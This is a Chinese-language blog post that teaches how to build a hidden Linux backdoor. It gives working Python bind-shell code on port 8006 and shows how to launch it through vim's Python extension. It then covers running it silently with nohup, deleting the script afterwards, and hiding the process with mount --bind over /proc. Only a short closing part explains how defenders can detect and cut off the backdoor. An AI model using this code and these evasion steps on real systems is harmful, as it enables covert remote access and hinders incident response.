vim+py文件構造linux後門

2020-12-22 Hacker安全

linux 後門有很多,像bash後門,openssh後門等等,今天,我將帶大家探討一下python後門。

python後門,其實就是用python編寫的一個簡單的socket伺服器端。具體實現代碼如下:

from socket import * import subprocess import os, threading, sys, time if __name__ == "__main__": server=socket(AF_INET,SOCK_STREAM) server.bind(('0.0.0.0',8006)) server.listen(5) talk, addr = server.accept() proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)以上代碼原理也很簡單,創建套接字,綁定套接字(也就是之後開啟的監聽埠),監聽套接字(其中數字5代表有5臺設備可同時連接),將linux下的標準輸入、輸出、錯誤重定向到套接字中並開啟一個shell,從而實現數據傳輸。在使用python啟動腳本,並在攻擊機上使用nc進行連接。成功連接後,受害者主機要顯示建立了一個sh連接。

這個一個簡單的python後門就實現了,但實際中,有很多伺服器是沒有安裝python應用的,那在沒有python應用的伺服器下就不能使用了麼?

答案是可以使用,現如今的vim編輯器為了更好的支持python語言,默認是安裝了python擴展,通過vim的python擴展,也可以去啟動一個python程序。可通過「vim --version」查看是否已支持python擴展。

那現在我們就可以使用vim的python擴展去啟動一個python後門,命令如下:

vim -E -c "pyfile test.py"其中 -E是啟動一個改進的Ex模式(也就是命令模式),-c是去加載一個文件,並去執行。

執行後會出現黑色的等待連接窗口,在攻擊機成功連接後,連接窗口會變成一個命令輸入窗口,並需要輸入q進行退出操作。然後在我們使用過程中,這個窗口並不需要。那我們就得考慮,如何啟動的時候就不顯示該窗口。

這裡我們可以使用linux中nohup功能,用來將命令進行後臺執行。命令如下:

nohup vim -E -c "pyfile test.py"

雖然沒有了命令輸入窗口,但是還是會有nohup的默認提示,並且在攻擊機未連接時界面會停留在此處,無法在當前窗口執行其他命令。因此,還需要對執行命令進行改進。其中改進的目的是讓命令執行後無任何顯示,再一次改進後的命令如下:

(nohup vim -E -c"pyfile test.py"> /dev/null 2>&1 &)以上命令是將nohup的執行結果輸出到/dev/null中,其中/dev/null在linux中代表空設備,結果輸出到空設備也就是丟棄nohup的執行結果。「2」在linux中代表錯誤輸出,「1」在linux中代表標準輸出,在此處也就是nohup的輸出。2>&1表示將錯誤輸出綁定到標準輸出上,在此處也就是將錯誤輸出同樣輸出到空設備上不進行顯示。這樣,無論nohup執行結果是否正確,都不會有輸出。

既然是後門,絕對不能留下自己創建的文件,那可以將刪除命令直接拼接到命令上。再次改進的代碼如下:

(nohup vim -E -c "pyfile test.py"> /dev/null 2>&1 &) && sleep 2 && rm -f test.py相信大家也注意到了,雖然成功啟動了python程序,但進程名為vim稍微有點顯眼,那是不是可以將其隱藏起來?

經過多次實驗發現,使用mount --bind可以實現這一想法。具體實現方式如下:

1、通過netstat命令,查詢到該進程號為1861;2、創建一個空文件夾「null」;3、使用命令「mount --bind null /proc/1861」經過這3步,已經成功隱藏了進程名和進程ID,通過netstat和ps命令,均無法查看到進程名與進程ID。mount --bind命令是將前一個目錄掛載到後一個目錄上,所有對後一個目錄的訪問其實都是對前一個目錄的訪問,並且會將前一個目錄路徑隱藏起來(注意這裡只是隱藏不是刪除,數據未發生改變,僅僅是無法訪問了)。

隱藏了PID和進程名,導致無法直接使用kill命令去直接刪除惡意進程,對查殺造成了一定的影響,可以讓後門能存活的久一點。

由於這種進程名和PID是通過mount的方式去隱藏,因此在查殺時,需要查看「/proc/$$/mountinfo」,分析是否為惡意掛載。

例如上圖,通過「cat /proc/$$/mountinfo」命令,發現23193為可疑進程ID。然後使用umount命令,取消對23193埠的掛載,就可確認該進程是否為惡意進程。然後就可以使用kill命令殺死該進程。

由於對惡意進程pid查找可能需要一定時間,在此期間,可以使用tcpkill工具(需安裝dsniff工具包),對惡意埠發起的連接進行阻斷。如最開始的實驗,是由於python腳本啟動8006埠的正向連接,導致後門的產生與利用,此時,可以使用「tcpkill -9 port 8006」命令,阻止用戶對8006埠的連接,從而暫時阻斷後門的利用,為徹底清除爭取時間。

到此,對python後門的研究就告一段落,這次研究學習進行總結如下:

1、在沒有python環境時,可嘗試通過vim執行python文件;2、可以使用nohup功能,將命令進行後臺執行;3、1>/dev/null 2>&1,可屏蔽linux內輸出內容;4、使用mount --bind ,可隱藏進程名和進程ID。

A man becomes learned by asking question.

相關焦點

  • linux中的vim命令
    如何查看命令的幫助文檔,三種方式:內置命令:help ls外部命令:ls --help,簡單的幫助文檔手冊man ls, 通過使用man查看詳細的幫助內容vim和vi命令本質上就是一個命令,這個命令是在linux命令中專門用來編輯文本文件的
  • vim命令使用總結
    vim簡介vim 是linux系統自帶的文本編輯器。vim 共有三種模式:命令模式:用vim打開文件就進入了命令模式;輸入模式:在命令模式輸入i/I/a/A/o/O就進入輸入模式;在輸入模式下按鍵esc,則退出輸入模式進入命令模式底線模式:在命令模式按下英文冒號:就進入了底線模式;二. vim命令使用總結2.1 光標移動(1)光標上下左右移動(鍵盤的上下左右四個鍵):
  • linux-vi或vim命令
    vi編輯中中文亂碼,修改方法:set encoding=utf-8 或set encoding=utf8高級一些的編輯器,都會包含宏功能,vim當然不能缺少了,在vim中使用宏是非常方便的::qx 開始記錄宏,並將結果存入寄存器xq 退出記錄模式@x 播放記錄在x寄存器中的宏命令
  • Linux中查看日誌文件的正確姿勢
    作為一個後端開發工程師,在Linux中查看查看文件內容是基本操作了。尤其是通常要分析日誌文件排查問題,那麼我們應該如何正確打開日誌文件呢?對於筆者這種小菜雞來說,第一反應就是 cat,tail,vi(或vim)了,是的,我曾經用過好多次vim編輯器來查看日誌文件。
  • vim常用命令有哪些?Linux入門學習
    vim是一個文本編輯程序,沒有菜單,只有命令,且命令繁多。在運維培訓學習中,vim編輯器都有哪些知識點?有哪些命令需要掌握? 命令行模式下相關命令移動光標h:←左移l:→右移j:↓下移k:↑上移gg:光標移動文件開頭
  • linux常用命令總結三&什麼是vim&vim三種模式&vim常用快捷鍵
    一、什麼是VIM是一個類似vi的文本編輯器,不過在vi的基礎上增加了很多新特性,vim被公認為類vi編輯器中最好用的一個。為什麼要學習VIM,vi不夠?vim在vi的基礎之上增加了很多的小功能。可以有效的幫助程式設計師快速的排查問題。
  • Linux下開啟VNCserver服務(遠程連接)
    實驗環境:centos6.8 可支持 linux連linux linux連Windows1、檢查系統是否安裝了vnc 和 vncserver, rpm -qa | grep vnc如果沒有安裝那就行自行下載安裝(我這裡用yum安裝了,vncserver
  • BlackArch Linux 2020.12.01 發布,滲透測試發行版
    更新亮點 新增 100 多款工具 將'live iso'重命名為'full iso' 升級 blackarch-installer 至 v1.2.16 升級內核至 linuxkernel 5.9.11 使 ISO 創建適應新的 archiso 版本(正在進行中) 從 ISO 環境中刪除不必要的文件 對多個軟體包執行 QA 檢查和修復(runtime exec 和依賴缺失等) 更新了所有的 vim 插件並改進了 vim 配置選項 更新了所有 blackarch 工具和軟體包,包括配置文件
  • Linux下文件(文件夾)的壓縮和解壓
    前言在linux下,當我們上傳一個較大的文件或者要安裝一個軟體(如tomcat、mysql等)時,我們需要先將官網下載的壓縮包在linux伺服器上進行解壓,再進行安裝。如果是由程序包生成的一個目錄內容較多或較大時,我們還可能需要對某個文件夾需要壓縮,這就需要用到我們本節要介紹的內容,文件(文件夾)的壓縮和解壓。
  • 「linux命令詳解」lsof命令解析,教你一步打開所有文件
    對編程感興趣的可以私信我獲取資料簡介lsof(list open files)是一個列出當前系統打開文件的工具。在linux環境下,任何事物都以文件的形式存在,通過文件不僅僅可以訪問常規數據,還可以訪問網絡連接和硬體。
  • Linux 系統操作之 vim 命令總結
    在該模式下,用戶輸入的任何字符都被Vi當做文件內容保存起來,並將其顯示在屏幕上。 在文本輸入過程中,若想回到命令模式下,按鍵ESC即可。 末行模式 末行模式也稱ex轉義模式。
  • 按時間順序清理linux分區的文件方法
    linux系統和windows系統磁碟分區不一樣。在windows系統我們通俗地稱C盤、D、E、F盤等。但在linux系統換了叫根分區(/),啟動分區(/boot),交換分區(/swap),家目錄分區(/home).文件匯出分區(/repout)等。
  • 初識Vi 文本編輯器 | Linux 中國
    本文字數:2197,閱讀時長大約: 3分鐘  https://linux.cn/article-12947-1.html作者:Seth Kenlon譯者:Xingyu.Wang  不管你用的是 Vim、Neovim、gVim、nvi,甚至是 Elvis,其實都是這個典型的 Unix 編輯器 Vi。
  • 多語言編程必備的十大Vim插件
    這時候就需要 vim-rainbow 插件!它為每對括號設置不同的顏色,因此很容易識別出哪些括號是一對括號。它非常有用而且五彩斑斕。vim-rainbow plugin3、lightlineVim 有很多這種插件,例如 Powerline,它會在底部欄顯示你正在處理的文件、光標所在的文件位置以及文件類型等信息
  • 如何將 Linux 終端中命令的輸出保存到文件中 | Linux 中國
    本文字數:1659,閱讀時長大約:2分鐘 https://linux.cn/article-12920-1.html 作者:Abhishek Prakash 譯者:MjSeven 當你在 Linux 終端中運行命令或腳本時
  • Linux學習之Linux系統優化進階都需要掌握哪些知識?
    SElinux2.Firewalld CenetOS7 Iptables (C6) 安全組(阿里雲)3.網絡管理服務NetworkManagernetwork相同地方管理網絡管理網絡區別通過nmcli命令修改配置文件
  • 推薦兩款非常實用的vim插件——快速定位、成對編輯
    今天給大家介紹兩款非常實用的vim插件,在頁面內快速移動以及成對編輯。easymotion我們知道vim編輯器可以通過按鍵h/j/k/l來上下移動,使用/關鍵字來搜索,使用按鍵w、e可以在單詞間快速移動,使用f{char}可以在行內搜索等等。但是,這些都沒有辦法在整個頁面內快速移動。
  • Vim 與 Git 如何交互 - 技術翻譯 - OSCHINA 社區
    此外,確定使用 git commit -v命令 或者在你的git配置文件中設置 commit.verbose = true 這樣當你編輯評論信息時才會在Vim中顯示所有的補丁信息。我使用的兩個主要的方法是:以diff模式啟動的vanilla Vim(或者Neovim),以及vim-fugitive提供的Gdiff命令。
  • 《Linux就該這麼學》與《鳥哥的linux私房菜》哪個更適合初學者?
    時不時在一起聚會中也會說到一些關於linux的話題,談及關於linux「升級」話題時,一致的表示linux是一個「先苦後甜」系統。學習使用的時候非常難,但是一旦學習成功,那就是步入一馬平川之境界。期初學習看書推薦:《Linux就該這麼學》,《鳥哥的linux私房菜》、《Linux 內核設計與實現》……三本相比來說更推薦《Linux就該這麼學》,原因是言簡意賅,不像鳥哥那麼厚重看一半就閒置了……;後面是命令:man、date、wget、reboot……;再後面就是實驗:修改文件、修改文件權限、建立不同帳戶、帳戶間的切換……;「但是最重要的別不是這些表面的東西,而是你是否能夠徹底了解linux系統的思想